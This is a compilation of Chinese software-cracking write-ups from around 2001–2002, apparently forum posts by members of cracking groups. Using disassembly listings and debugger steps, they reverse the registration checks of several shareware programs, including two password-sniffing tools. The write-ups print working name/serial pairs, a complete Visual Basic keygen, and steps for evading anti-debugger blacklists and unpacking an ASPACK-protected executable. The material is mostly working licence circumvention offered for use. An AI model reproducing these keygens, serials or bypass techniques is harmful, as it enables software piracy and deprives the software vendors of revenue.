:004773FC 6A40 push 00000040

* Possible StringData Ref from Code Obj ->"注册信息"
|
:004773FE 68587A4700 push 00477A58

* Possible StringData Ref from Code Obj ->"软件试用期还剩"
|
:00477403 686C7A4700 push 00477A6C
:00477408 8D55A0 lea edx, dword ptr [ebp-60]
:0047740B A1E8F24700 mov eax, dword ptr [0047F2E8]
:00477410 40 inc eax
:00477411 2B05E4F24700 sub eax, dword ptr [0047F2E4]
:00477417 E8F014F9FF call 0040890C
:0047741C FF75A0 push [ebp-60]
:0047741F 68547A4700 push 00477A54

* Possible StringData Ref from Code Obj ->",请赶快向美萍公司注册(0371-8749676)"
|
:00477424 68847A4700 push 00477A84
:00477429 8D45A4 lea eax, dword ptr [ebp-5C]
:0047742C BA04000000 mov edx, 00000004
:00477431 E812CBF8FF call 00403F48
:00477436 8B45A4 mov eax, dword ptr [ebp-5C]
:00477439 E80ECCF8FF call 0040404C
:0047743E 50 push eax
:0047743F 8BC3 mov eax, ebx
:00477441 E80AE8FBFF call 00435C50
:00477446 50 push eax
2.w32dasm查找菜单,从头查找0047F2D4
* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:0047705C(C)
|
:0047706B 8B153C0A4800 mov edx, dword ptr [00480A3C]
:00477071 A14C0A4800 mov eax, dword ptr [00480A4C]
:00477076 E8F9D0F8FF call 00404174<====d edx 见一长注册码,我的是
162778260300854525709 比方我输入的是62778

:0047707B 85C0 test eax, eax
:0047707D 7E24 jle 004770A3
:0047707F A14C0A4800 mov eax, dword ptr [00480A4C]
:00477084 E8FFCDF8FF call 00403E88
:00477089 83F805 cmp eax, 00000005
:0047708C 7515 jne 004770A3
:0047708E 8B153C0A4800 mov edx, dword ptr [00480A3C]
:00477094 A14C0A4800 mov eax, dword ptr [00480A4C]
:00477099 E8D6D0F8FF call 00404174 <=====计算你输入注册码的开始位数
:0047709E A3D4F24700 mov dword ptr [0047F2D4], eax <===EAX为2.而比较的是B所以我们知道我们该从第几位输了吧。
呵呵~~~~~~~~~可是这样做了仍然不对，为什么？？？记得在3.0以前我们知道黑名单里有两个TRW,后一个参与
注册码运算，前一个被发现后关机。可是这个版本是发现TRW后不仅关机还来干扰注册码的运算。所以我门该
把第一个TRW改为“ttt”（为任意三个字母)

再来看00477084处那个长码，这次为11244327843548534316722 从B位开始取，为35485
所以:注册名 ybyb
注册码 35485

写不有错的地方请大家指正.
(后话虽然快考试了,可是手痒的很啊!!!于是下载了美萍网管大师7.2,美萍安全卫士8.5来练习一下crackYY[CNCG] 解的网管大师也是从B位开始的. 安全卫士和网管大师大同小异,前者在 00475a13处 ? ebx 就见你的注册码了.
)

2001.12.08


密码监听器 v1.4

 标 题:破解 密码监听器 v1.4 注册码，顺便向BCG组织的各位兄弟问好！ (12千字)
发信人:飞鹰[BCG]
时 间:2001-10-25 18:50:40
详细信息:
破解 密码监听器 v1.4 注册码

软件名称：密码监听器 V1.4
软件简介：密码监听器用于监听基于WEB的邮箱密码、POP3收信密码、FTP登录
密码，只需在一台电脑上运行，就可以监听局域网内任意一台电脑登录的用户
名和密码，并将密码显示、保存，或发送到用户指定的邮箱。
破解工具：TRW2000 1.22汉化版、W32DASM 8.93汉化版、FI 2.5。
破解人：飞鹰[BCG]
E-mail：flithawk@263.net
网址：http://flithawk.longcity.net
破解步骤：首先，用 FI 查壳，可知该软件没有被加壳；后用 W32DASM 编译
软件，查找注册码错误信息“注册失败！”，找到后，向上分析就可以知道真
注册码和注册算法。分析过程如下：

* Possible Reference to Dialog: DialogID_0088, CONTROL_ID:0416, ""
|
:0040D628 6816040000 push 00000416
:0040D62D 8BCD mov ecx, ebp

* Reference To: MFC42.Ordinal:0C19, Ord:0C19h
|
:0040D62F E8E8250000 Call 0040FC1C
:0040D634 8D4C240C lea ecx, dword ptr [esp+0C]

* Reference To: MFC42.Ordinal:188A, Ord:188Ah
|
:0040D638 E84F220000 Call 0040F88C
:0040D63D 8D4C240C lea ecx, dword ptr [esp+0C]

* Reference To: MFC42.Ordinal:188B, Ord:188Bh
|
:0040D641 E840220000 Call 0040F886
:0040D646 8D4C2410 lea ecx, dword ptr [esp+10]

* Reference To: MFC42.Ordinal:188A, Ord:188Ah
|
:0040D64A E83D220000 Call 0040F88C
:0040D64F 8D4C2410 lea ecx, dword ptr [esp+10]

* Reference To: MFC42.Ordinal:188B, Ord:188Bh
|
:0040D653 E82E220000 Call 0040F886
:0040D658 8D4C240C lea ecx, dword ptr [esp+0C]

* Reference To: MFC42.Ordinal:106A, Ord:106Ah
|
:0040D65C E8AF220000 Call 0040F910

* Possible StringData Ref from Data Obj ->"whm_w"
|
:0040D661 6814744100 push 00417414
:0040D666 8D4C2410 lea ecx, dword ptr [esp+10]

* Reference To: MFC42.Ordinal:03AD, Ord:03ADh
|
:0040D66A E893240000 Call 0040FB02
:0040D66F 8B54240C mov edx, dword ptr [esp+0C]
:0040D673 33FF xor edi, edi
:0040D675 33C0 xor eax, eax
:0040D677 8B4AF8 mov ecx, dword ptr [edx-08]
:0040D67A 85C9 test ecx, ecx
:0040D67C 7E0B jle 0040D689

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:0040D687(C)
|
:0040D67E 0FBE3410 movsx esi, byte ptr [eax+edx] ++注
:0040D682 03FE add edi, esi　　　　　　　　　++册
:0040D684 40 inc eax ++码
:0040D685 3BC1 cmp eax, ecx ++算
:0040D687 7CF5 jl 0040D67E ++法

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:0040D67C(C)
|
:0040D689 8B542410 mov edx, dword ptr [esp+10]
:0040D68D 53 push ebx
:0040D68E 8D4C2414 lea ecx, dword ptr [esp+14]
:0040D692 8B42F8 mov eax, dword ptr [edx-08]
:0040D695 83C0FE add eax, FFFFFFFE
:0040D698 50 push eax
:0040D699 8D442420 lea eax, dword ptr [esp+20]
:0040D69D 6A00 push 00000000
:0040D69F 50 push eax

* Reference To: MFC42.Ordinal:10B6, Ord:10B6h
|
:0040D6A0 E8A1220000 Call 0040F946
:0040D6A5 8B00 mov eax, dword ptr [eax]
:0040D6A7 50 push eax

* Reference To: MSVCRT.atol, Ord:023Eh
|
:0040D6A8 FF15A4244100 Call dword ptr [004124A4]
:0040D6AE 83C404 add esp, 00000004
:0040D6B1 8D4C241C lea ecx, dword ptr [esp+1C]
:0040D6B5 8BF0 mov esi, eax

* Reference To: MFC42.Ordinal:0320, Ord:0320h
|
:0040D6B7 E810210000 Call 0040F7CC
:0040D6BC 8D4C241C lea ecx, dword ptr [esp+1C]
:0040D6C0 6A02 push 00000002
:0040D6C2 51 push ecx
:0040D6C3 8D4C241C lea ecx, dword ptr [esp+1C]

* Reference To: MFC42.Ordinal:164E, Ord:164Eh
|
:0040D6C7 E8A6230000 Call 0040FA72
:0040D6CC 8B00 mov eax, dword ptr [eax]
:0040D6CE 50 push eax

* Reference To: MSVCRT.atoi, Ord:023Dh
|
:0040D6CF FF1578244100 Call dword ptr [00412478]
:0040D6D5 83C404 add esp, 00000004
:0040D6D8 8D4C241C lea ecx, dword ptr [esp+1C]
:0040D6DC 8BD8 mov ebx, eax

* Reference To: MFC42.Ordinal:0320, Ord:0320h
|
:0040D6DE E8E9200000 Call 0040F7CC
:0040D6E3 33F3 xor esi, ebx
:0040D6E5 5B pop ebx
:0040D6E6 3BFE cmp edi, esi==>真假注册比较
:0040D6E8 0F85F3000000 jne 0040D7E1==>跳转则显示出错信息
:0040D6EE 68387E4100 push 00417E38

* Possible StringData Ref from Data Obj ->"whm_w"
|
:0040D6F3 6814744100 push 00417414
:0040D6F8 8D4C2414 lea ecx, dword ptr [esp+14]

* Reference To: MFC42.Ordinal:1ADD, Ord:1ADDh
|
:0040D6FC E8F1210000 Call 0040F8F2
:0040D701 668B1550A64100 mov dx, word ptr [0041A650]
:0040D708 B918000000 mov ecx, 00000018
:0040D70D 33C0 xor eax, eax
:0040D70F 8D7C241E lea edi, dword ptr [esp+1E]
:0040D713 668954241C mov word ptr [esp+1C], dx

* Possible Reference to Dialog: DialogID_0064
|
:0040D718 6A64 push 00000064
:0040D71A F3 repz
:0040D71B AB stosd
:0040D71C 66AB stosw
:0040D71E 8D442420 lea eax, dword ptr [esp+20]
:0040D722 50 push eax

* Reference To: KERNEL32.GetSystemDirectoryA, Ord:0159h
|
:0040D723 FF1538204100 Call dword ptr [00412038]
:0040D729 8D4C241C lea ecx, dword ptr [esp+1C]
:0040D72D 51 push ecx
:0040D72E 8D4C241C lea ecx, dword ptr [esp+1C]

* Reference To: MFC42.Ordinal:0219, Ord:0219h
|
:0040D732 E85B210000 Call 0040F892
:0040D737 8D4C2414 lea ecx, dword ptr [esp+14]
:0040D73B C684248800000002 mov byte ptr [esp+00000088], 02

* Reference To: MFC42.Ordinal:021C, Ord:021Ch
|
:0040D743 E8A2200000 Call 0040F7EA
:0040D748 C684248800000003 mov byte ptr [esp+00000088], 03

* Reference To: KERNEL32.GetVersion, Ord:0174h
|
:0040D750 FF153C204100 Call dword ptr [0041203C]
:0040D756 8B542418 mov edx, dword ptr [esp+18]
:0040D75A 50 push eax
:0040D75B 52 push edx
:0040D75C 8D44241C lea eax, dword ptr [esp+1C]

* Possible StringData Ref from Data Obj ->"%s\%ld.ini"
|
:0040D760 683C744100 push 0041743C
:0040D765 50 push eax

* Reference To: MFC42.Ordinal:0B02, Ord:0B02h
|
:0040D766 E8F7200000 Call 0040F862
:0040D76B 8B4C2424 mov ecx, dword ptr [esp+24]
:0040D76F 8B54241C mov edx, dword ptr [esp+1C]

* Reference To: KERNEL32.WritePrivateProfileStringA, Ord:02E5h
|
:0040D773 8B351C204100 mov esi, dword ptr [0041201C]
:0040D779 83C410 add esp, 00000010
:0040D77C 51 push ecx
:0040D77D 52 push edx

* Possible StringData Ref from Data Obj ->"USERNAME"
|
:0040D77E 6830744100 push 00417430

* Possible StringData Ref from Data Obj ->"REGINFO"
|
:0040D783 6828744100 push 00417428
:0040D788 FFD6 call esi
:0040D78A 8B442414 mov eax, dword ptr [esp+14]
:0040D78E 8B4C2410 mov ecx, dword ptr [esp+10]
:0040D792 50 push eax
:0040D793 51 push ecx

* Possible StringData Ref from Data Obj ->"PASSWORD"
|
:0040D794 681C744100 push 0041741C

* Possible StringData Ref from Data Obj ->"REGINFO"
|
:0040D799 6828744100 push 00417428
:0040D79E FFD6 call esi
:0040D7A0 6830100000 push 00001030

* Possible StringData Ref from Data Obj ->"注册信息"==>继续向上分析
|
:0040D7A5 68047B4100 push 00417B04

* Possible StringData Ref from Data Obj ->"您成功注册！"==>成功信息
|
:0040D7AA 68F47A4100 push 00417AF4
:0040D7AF 8BCD mov ecx, ebp

* Reference To: MFC42.Ordinal:1080, Ord:1080h
|
:0040D7B1 E812210000 Call 0040F8C8
:0040D7B6 8BCD mov ecx, ebp

* Reference To: MFC42.Ordinal:12F5, Ord:12F5h
|
:0040D7B8 E80D220000 Call 0040F9CA
:0040D7BD 8D4C2414 lea ecx, dword ptr [esp+14]
:0040D7C1 C684248800000002 mov byte ptr [esp+00000088], 02

* Reference To: MFC42.Ordinal:0320, Ord:0320h
|
:0040D7C9 E8FE1F0000 Call 0040F7CC
:0040D7CE 8D4C2418 lea ecx, dword ptr [esp+18]
:0040D7D2 C684248800000001 mov byte ptr [esp+00000088], 01

* Reference To: MFC42.Ordinal:0320, Ord:0320h
|
:0040D7DA E8ED1F0000 Call 0040F7CC
:0040D7DF EB16 jmp 0040D7F7

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:0040D6E8(C)
|
:0040D7E1 6830100000 push 00001030

* Possible StringData Ref from Data Obj ->"注册信息"==>继续向上分析
|
:0040D7E6 68047B4100 push 00417B04

* Possible StringData Ref from Data Obj ->"注册失败！"==>出错信息
|
:0040D7EB 68E87A4100 push 00417AE8
:0040D7F0 8BCD mov ecx, ebp

* Reference To: MFC42.Ordinal:1080, Ord:1080h
|
:0040D7F2 E8D1200000 Call 0040F8C8

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:0040D7DF(U)
|
:0040D7F7 8D4C2410 lea ecx, dword ptr [esp+10]
:0040D7FB C684248800000000 mov byte ptr [esp+00000088], 00

* Reference To: MFC42.Ordinal:0320, Ord:0320h
|
:0040D803 E8C41F0000 Call 0040F7CC
:0040D808 8D4C240C lea ecx, dword ptr [esp+0C]
:0040D80C C7842488000000FFFFFFFF mov dword ptr [esp+00000088], FFFFFFFF

* Reference To: MFC42.Ordinal:0320, Ord:0320h
|
:0040D817 E8B01F0000 Call 0040F7CC
:0040D81C 8B8C2480000000 mov ecx, dword ptr [esp+00000080]
:0040D823 5F pop edi
:0040D824 5E pop esi
:0040D825 5D pop ebp
:0040D826 64890D00000000 mov dword ptr fs:[00000000], ecx
:0040D82D 81C480000000 add esp, 00000080
:0040D833 C3 ret

再次运行软件，用 TRW2000 在 0040D6E6 处下断后，用 ?edi 命令就可以显
示出真的注册码。知道真注册码后再把该注册码的前后分别加上00，才能注册
成功。

例如：我的用户名是：flithawk[BCG]，用 ?edi 显示出来的注册码是：1888
，则真的注册码是：00188800。

用 VB 编写注册机，源程序如下：

Private Sub Command1_Click()
Dim x As Integer, i As Integer, y As String
If Text1.Text = "" Then
MsgBox "用户名不能为空，请重新输入。", 0, "错误"
Text1.SetFocus
Else
x = 0
y = LCase(Text1.Text & "whm_w")
For i = 1 To Len(y)
x = x + Asc(Mid$(y, i, 1))
Next i
Text2.Text = "00" & x & "00"
End If
End Sub

至此，整个软件的破解完成！

我仅以此篇祝愿BCG组织能不断发展壮大！我也顺便向各位BCG的成员问好，希
望大家以后能多多保持联系！

Crack by 飞鹰[BCG] flithawk@263.net 2001.10.25


密码截取(getpassword)2.8

 标 题:密码截取(getpassword)2.8破解全面分析 (3千字)
发信人:8989
时 间:2001-12-11 11:55:27
详细信息:
密码截取(getpassword)2.8破解全面分析
作者 风飘雪
http://fpx.yeah.net
1.黑名单　guodong ttian fpx
* Reference To: MFC42.Ordinal:021D, Ord:021Dh
|
:00405EEA E837210000 Call 00408026

* Possible StringData Ref from Data Obj ->"guodong"
|
:00405EEF 6858E74000 push 0040E758
:00405EF4 8D4DB8 lea ecx, dword ptr [ebp-48]
:00405EF7 FF75C0 push [ebp-40]
:00405EFA C645FC02 mov [ebp-04], 02

* Reference To: MFC42.Ordinal:16E5, Ord:16E5h
|
:00405EFE E81D210000 Call 00408020

* Possible StringData Ref from Data Obj ->"ttian"
|
:00405F03 6850E74000 push 0040E750
:00405F08 8D4DB8 lea ecx, dword ptr [ebp-48]
:00405F0B FF75C0 push [ebp-40]

* Reference To: MFC42.Ordinal:16E5, Ord:16E5h
|
:00405F0E E80D210000 Call 00408020

* Possible StringData Ref from Data Obj ->"fpx"
|
:00405F13 684CE74000 push 0040E74C
:00405F18 8D4DB8 lea ecx, dword ptr [ebp-48]
:00405F1B FF75C0 push [ebp-40]
2.暗桩 注册码最后两位不可以是00
* Reference To: MFC42.Ordinal:1021, Ord:1021h
|
:00405F6D E8F21E0000 Call 00407E64
:00405F72 8B00 mov eax, dword ptr [eax]

* Reference To: MSVCRT._mbscmp, Ord:0159h
|
:00405F74 8B3510A44000 mov esi, dword ptr [0040A410]

* Possible StringData Ref from Data Obj ->"00"
|
:00405F7A BBA0E24000 mov ebx, 0040E2A0
:00405F7F C645FC04 mov [ebp-04], 04
:00405F83 53 push ebx
:00405F84 50 push eax
:00405F85 FFD6 call esi
:00405F87 59 pop ecx
:00405F88 85C0 test eax, eax
:00405F8A 59 pop ecx
:00405F8B 7453 je 00405FE0
:00405F8D 8D45D4 lea eax, dword ptr [ebp-2C]

* Possible Reference to String Resource ID=00001: "Option.ini"
|
:00405F90 6A01 push 00000001
:00405F92 50 push eax
:00405F93 8D4DF0 lea ecx, dword ptr [ebp-10]
3.注册算法
注册码最后2位 xor 注册码前面的=(姓名)ascii码之和

:0040601C 0FBE3408 movsx esi, byte ptr [eax+ecx]
:00406020 0175DC add dword ptr [ebp-24], esi
:00406023 40 inc eax
:00406024 3BC2 cmp eax, edx
:00406026 7CF4 jl 0040601C

4关键比较
:00406070 E8B11C0000 Call 00407D26
:00406075 33DF xor ebx, edi
:00406077 395DDC cmp dword ptr [ebp-24], ebx
:0040607A 0F855B010000 jne 004061DB
:00406080 6888EB4000 push 0040EB88

密码截取(getpassword)2.8 注册名 fpxfpx 注册码 66901
2001.12.11

标 题:！先将大写换成小写字母再相加。 NAME: XF[BCG] CODE: 75852 (空)
发信人:XF[BCG]
时 间:2001-12-11 15:08:33
详细信息:


屏保自己做2.61

 标 题:屏保自己做2.61版算法分析！ (7千字)
发信人:波导终结者
时 间:2002-2-18 22:24:02
详细信息:
屏保自己做2.61版算法分析：（请按照①②③的顺序来看破解过程）
下载地址：http://ln.skycn.net/down/ScreenSaver_DIY261.zip
工具：TRW（虽说高手们都说用SOFTICE好，但我是菜鸟，又懒，凑合凑合吧）
打开TRW，再右击桌面，调出属性对话框，选ScrnSaver_DIY，点设置，调出主程序，在注册处填入注册名和注册码，点“注册”，？？？？？？？？？？没有提示？好，我用bpx hmemcpy拦，拦住后，按F10往前走（走了多少路就不说了，直接来到关键处）：
:0048FC59 8B45F8 mov eax, dword ptr [ebp-08] ①取用户名
:0048FC5C E83343F7FF call 00403F94 取用户名长度
:0048FC61 8BF0 mov esi, eax ESI=用户名长度
:0048FC63 85F6 test esi, esi 是否为空
:0048FC65 7E3C jle 0048FCA3 为空跳，不为空继续走
:0048FC67 BF01000000 mov edi, 00000001 把EDI置为1，关于这一行的作用参见③和⑤

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:0048FCA1(C)
|
:0048FC6C 8B45F8 mov eax, dword ptr [ebp-08] ②取用户名
:0048FC6F 33DB xor ebx, ebx 把EBX清0
:0048FC71 8A5C38FF mov bl, byte ptr [eax+edi-01] ③取第EDI位用户名的ACDSII十进制值给EBX（目前EDI为1，则取第1位）
:0048FC75 8BC3 mov eax, ebx 把EBX的值给EAX
:0048FC77 F7EB imul ebx EAX=EAX*EBX
:0048FC79 F7EB imul ebx 再乘一次EBX，这样，EAX等于EBX的三次方
:0048FC7B 8945EC mov dword ptr [ebp-14], eax [ebp-14]=EAX
:0048FC7E DB45EC fild dword ptr [ebp-14] 把[ebp-14]压栈（其实也就是用户名的三次方）
:0048FC81 D9FA fsqrt 开平方（也就是用户名某一位的ASCII值的三次方的平方根）
:0048FC83 E80C2FF7FF call 00402B94 取出这个数
:0048FC88 8BD8 mov ebx, eax
:0048FC8A 8D55E8 lea edx, dword ptr [ebp-18]
:0048FC8D 8BC3 mov eax, ebx
:0048FC8F E8588DF7FF call 004089EC 转换成十进制，设为CODEA
:0048FC94 8B55E8 mov edx, dword ptr [ebp-18]
:0048FC97 8D45F4 lea eax, dword ptr [ebp-0C] ④把CODEA给EAX
:0048FC9A E8FD42F7FF call 00403F9C 这个CALL的作用是：把注册名每一位算出来的CODEA一个一个接起来，比如说，注册名算得的CODEA分别为1000、1001、1002，则接完之后，则变成100010011002，设累加完后的这个字符串为CODEB
:0048FC9F 47 inc edi ⑤EDI加1，这样如果算没完的话，回到④处取下一位
:0048FCA0 4E dec esi ESI减1（ESI为用户名长度）
:0048FCA1 75C9 jne 0048FC6C 如果ESI不为0（没算完），则跳②回处算下一位，如果ESI为0（算完了），则不跳，往下走。

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:0048FC65(C)
|
:0048FCA3 8B45F4 mov eax, dword ptr [ebp-0C] ⑥取CODEB
:0048FCA6 E8E942F7FF call 00403F94 取CODEB的长度
:0048FCAB 83F80A cmp eax, 0000000A 是不是大于十位
:0048FCAE 7E26 jle 0048FCD6 是的话直接跳到48FCD6处，开始比较注册码，不是的话不跳，往下走
:0048FCB0 8D45E4 lea eax, dword ptr [ebp-1C]
:0048FCB3 50 push eax
:0048FCB4 B90A000000 mov ecx, 0000000A
:0048FCB9 BA01000000 mov edx, 00000001
:0048FCBE 8B45F4 mov eax, dword ptr [ebp-0C]
:0048FCC1 E8D644F7FF call 0040419C 把CODEB截取前十位，设为CODEC，比如前面举的例子，CODEB为100010011002，则截完后，CODEC为1000100110
:0048FCC6 8B55E4 mov edx, dword ptr [ebp-1C]
:0048FCC9 8D45F4 lea eax, dword ptr [ebp-0C]

* Possible StringData Ref from Code Obj ->"asd"
|
:0048FCCC B970FE4800 mov ecx, 0048FE70
:0048FCD1 E80A43F7FF call 00403FE0 这个CALL的作用是：把CODEC的后面加上asd这三个字母，设为CODED，比如上面的例子，CODEC为1000100110，则过此处CODED为1000100110asd

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:0048FCAE(C)
|
:0048FCD6 8D55E0 lea edx, dword ptr [ebp-20]
:0048FCD9 8B45FC mov eax, dword ptr [ebp-04]
:0048FCDC 8B8074030000 mov eax, dword ptr [eax+00000374]
:0048FCE2 E871FEF9FF call 0042FB58 ⑦取真注册码和假注册码
:0048FCE7 8B55E0 mov edx, dword ptr [ebp-20] EDX=假码
:0048FCEA 8B45F4 mov eax, dword ptr [ebp-0C] EAX=真码
:0048FCED E8B243F7FF call 004040A4 比较，按F8进入
:0048FCF2 0F8528010000 jne 0048FE20 ⑨对就不跳，不对则跳
:0048FCF8 8B45FC mov eax, dword ptr [ebp-04]
:0048FCFB 8B8080030000 mov eax, dword ptr [eax+00000380]
*************************************************************************************************
48FCED处，进入：
:004040A4 53 push ebx
:004040A5 56 push esi
:004040A6 57 push edi
:004040A7 89C6 mov esi, eax
:004040A9 89D7 mov edi, edx
:004040AB 39D0 cmp eax, edx ⑧比较假码和真码
:004040AD 0F848F000000 je 00404142 对就跳，不对不跳
:004040B3 85F6 test esi, esi
:004040B5 7468 je 0040411F
:004040B7 85FF test edi, edi
:004040B9 746B je 00404126
:004040BB 8B46FC mov eax, dword ptr [esi-04]
:004040BE 8B57FC mov edx, dword ptr [edi-04]
:004040C1 29D0 sub eax, edx
:004040C3 7702 ja 004040C7
:004040C5 01C2 add edx, eax
*************************************************************************************************
总结：由以上分析可知，这个软件的算法是：
分别取出用户名的每一位的ASCII十进制值，三次方后平方根，把每一位的用户名这样运算之后，一个一个接起来，如果不大于十位的话，直接比较；如果大于十位的话，取前十位，再在后面接上“asd”这个字符串，再比较。
举例：我的用户名是alifriend的话，则a的ASCII十进制值是97，三次方的平方根是955……依此类推，每一位都这样算之后，串起来为95511221076103012171086101511541000，因为大于10位，取前十位为9551122107，在后面串上“asd”，所以我的注册码为9551122107asd。
*************************************************************************************************
外话：脱壳篇：
破这个东西其实不用脱壳的，但脱了壳抓代码比较方便，于是我就开始脱壳。用FI查出它是ASPACK加的壳，可是它是个SCR文件，我先用PROCDUMP脱，结果PROCDUMP罢工。自动脱壳不行我就用BW+TRW大法，运行它，用BW找到了入口为0049AFA4，我再用TRW载入，结果TRW也罢工。我倒，明明是可执行文件，装什么蒜啊？我把它的扩展名由SCR改成EXE，再用TRW载入，呵呵，OK了，g 0049AFA4，PEDUMP，OK，成功脱壳！
破解：波导终结者[BCG][CNCG]


起名向导5.1

 标 题:起名向导5.1注册码 (15千字)
发信人:keyboy
时 间:2002-3-2 0:39:55
详细信息:
起名向导5.1

我是几个月前破解的这个软件,当时没有没写破文,有些细节地方现在一时也想不起来了
因有人需要,今天用WDASM反汇编了以下,把其中一些相关代码列出,以供参考.
说明部分比较简要,请多包涵

用TRW2000装入QMXD.EXE
BPX getvolumeinformationa
F5
F12
一直按F10便可到此处
:00446720 8D45D0 lea eax, dword ptr [ebp-30]
:00446723 8D4D98 lea ecx, dword ptr [ebp-68]
:00446726 898510FFFFFF mov dword ptr [ebp+FFFFFF10], eax
:0044672C 51 push ecx
:0044672D 8D9508FFFFFF lea edx, dword ptr [ebp+FFFFFF08]
:00446733 6A01 push 00000001
:00446735 8D4588 lea eax, dword ptr [ebp-78]
:00446738 BB08400000 mov ebx, 00004008
:0044673D 52 push edx
:0044673E 50 push eax
:0044673F C745A00A000000 mov [ebp-60], 0000000A
:00446746 C7459802000000 mov [ebp-68], 00000002
:0044674D 899D08FFFFFF mov dword ptr [ebp+FFFFFF08], ebx
:00446753 FFD7 call edi
:00446755 8D4D88 lea ecx, dword ptr [ebp-78]
:00446758 51 push ecx

* Reference To: MSVBVM60.__vbaStrVarMove, Ord:0000h
|
:00446759 FF1534104000 Call dword ptr [00401034]
:0044675F 8BD0 mov edx, eax ;缺少第5位的正确注册码
;此处共10位,在第4位后插入'1'既得到11位的正确注册码

:00446761 8D4DD0 lea ecx, dword ptr [ebp-30]
:00446764 FFD6 call esi
:00446766 8D5588 lea edx, dword ptr [ebp-78]
:00446769 8D4598 lea eax, dword ptr [ebp-68]
:0044676C 52 push edx
:0044676D 50 push eax
:0044676E 6A02 push 00000002

* Reference To: MSVBVM60.__vbaFreeVarList, Ord:0000h
|
:00446770 FF1538104000 Call dword ptr [00401038]
:00446776 A110B24B00 mov eax, dword ptr [004BB210]
:0044677B 83C40C add esp, 0000000C
:0044677E 8D55B4 lea edx, dword ptr [ebp-4C]
:00446781 8B08 mov ecx, dword ptr [eax]
:00446783 52 push edx
:00446784 8D55D0 lea edx, dword ptr [ebp-30]
:00446787 52 push edx
:00446788 50 push eax
:00446789 FF5120 call [ecx+20]
:0044678C 85C0 test eax, eax
:0044678E DBE2 fclex
:00446790 7D15 jge 004467A7
:00446792 8B0D10B24B00 mov ecx, dword ptr [004BB210]
:00446798 6A20 push 00000020
:0044679A 6890464100 push 00414690
:0044679F 51 push ecx
:004467A0 50 push eax

* Reference To: MSVBVM60.__vbaHresultCheckObj, Ord:0000h
|
:004467A1 FF1560104000 Call dword ptr [00401060]

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:00446790(C)
|
:004467A7 8B55B4 mov edx, dword ptr [ebp-4C]
:004467AA 8D4DD0 lea ecx, dword ptr [ebp-30]
:004467AD C745B400000000 mov [ebp-4C], 00000000
:004467B4 FFD6 call esi
:004467B6 8B15BCB04B00 mov edx, dword ptr [004BB0BC]
:004467BC 52 push edx

* Possible StringData Ref from Code Obj ->"\\msys.zban"
|
:004467BD 68C0494100 push 004149C0

* Reference To: MSVBVM60.__vbaStrCat, Ord:0000h
|
:004467C2 FF1550104000 Call dword ptr [00401050]
:004467C8 8BD0 mov edx, eax
:004467CA 8D4DB8 lea ecx, dword ptr [ebp-48]
:004467CD FFD6 call esi
:004467CF 8D45D0 lea eax, dword ptr [ebp-30]
:004467D2 899D08FFFFFF mov dword ptr [ebp+FFFFFF08], ebx
:004467D8 898510FFFFFF mov dword ptr [ebp+FFFFFF10], eax
:004467DE A134B24B00 mov eax, dword ptr [004BB234]
:004467E3 85C0 test eax, eax
:004467E5 7515 jne 004467FC

注册码第5字符必须为'1',否则不能起双字名
下段代码只有要退出程序是才会执行
注册正确程序正常退出,否则我想跟踪过的人应该知道有什麽现象.

:0048D561 6A00 push 00000000
:0048D563 68FBFDFFFF push FFFFFDFB
:0048D568 8B08 mov ecx, dword ptr [eax]
:0048D56A 50 push eax
:0048D56B FF9118030000 call dword ptr [ecx+00000318]
:0048D571 50 push eax
:0048D572 8D559C lea edx, dword ptr [ebp-64]
:0048D575 52 push edx
:0048D576 FFD3 call ebx
:0048D578 50 push eax
:0048D579 8D458C lea eax, dword ptr [ebp-74]
:0048D57C 50 push eax

* Reference To: MSVBVM60.__vbaLateIdCallLd, Ord:0000h
|
:0048D57D FF1514114000 Call dword ptr [00401114]
:0048D583 83C410 add esp, 00000010
:0048D586 50 push eax

* Reference To: MSVBVM60.__vbaStrVarMove, Ord:0000h
|
:0048D587 8B1D34104000 mov ebx, dword ptr [00401034]
:0048D58D FFD3 call ebx
:0048D58F 8BD0 mov edx, eax
:0048D591 8D4DE0 lea ecx, dword ptr [ebp-20]
:0048D594 FFD6 call esi
:0048D596 8D4D9C lea ecx, dword ptr [ebp-64]
:0048D599 FFD7 call edi
:0048D59B 8D4D8C lea ecx, dword ptr [ebp-74]

* Reference To: MSVBVM60.__vbaFreeVar, Ord:0000h
|
:0048D59E FF1524104000 Call dword ptr [00401024]
:0048D5A4 8D4DBC lea ecx, dword ptr [ebp-44]
:0048D5A7 898D64FFFFFF mov dword ptr [ebp+FFFFFF64], ecx
:0048D5AD BF08400000 mov edi, 00004008
:0048D5B2 89BD5CFFFFFF mov dword ptr [ebp+FFFFFF5C], edi
:0048D5B8 8D955CFFFFFF lea edx, dword ptr [ebp+FFFFFF5C]
:0048D5BE 52 push edx

* Reference To: MSVBVM60.rtcKillFiles, Ord:0211h
|
:0048D5BF FF15D8104000 Call dword ptr [004010D8]
:0048D5C5 8B45D4 mov eax, dword ptr [ebp-2C]
:0048D5C8 8B08 mov ecx, dword ptr [eax]
:0048D5CA 8D55A4 lea edx, dword ptr [ebp-5C]
:0048D5CD 52 push edx
:0048D5CE 8D55E0 lea edx, dword ptr [ebp-20]
:0048D5D1 52 push edx
:0048D5D2 50 push eax
:0048D5D3 FF5120 call [ecx+20]
:0048D5D6 DBE2 fclex
:0048D5D8 85C0 test eax, eax
:0048D5DA 7D12 jge 0048D5EE
:0048D5DC 6A20 push 00000020
:0048D5DE 6890464100 push 00414690
:0048D5E3 8B4DD4 mov ecx, dword ptr [ebp-2C]
:0048D5E6 51 push ecx
:0048D5E7 50 push eax

* Reference To: MSVBVM60.__vbaHresultCheckObj, Ord:0000h
|
:0048D5E8 FF1560104000 Call dword ptr [00401060]

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:0048D5DA(C)
|
:0048D5EE 8B55A4 mov edx, dword ptr [ebp-5C] ;输入假注册码的指针
:0048D5F1 C745A400000000 mov [ebp-5C], 00000000
:0048D5F8 8D4DE0 lea ecx, dword ptr [ebp-20]
:0048D5FB FFD6 call esi
:0048D5FD C745940F000000 mov [ebp-6C], 0000000F
:0048D604 C7458C02000000 mov [ebp-74], 00000002
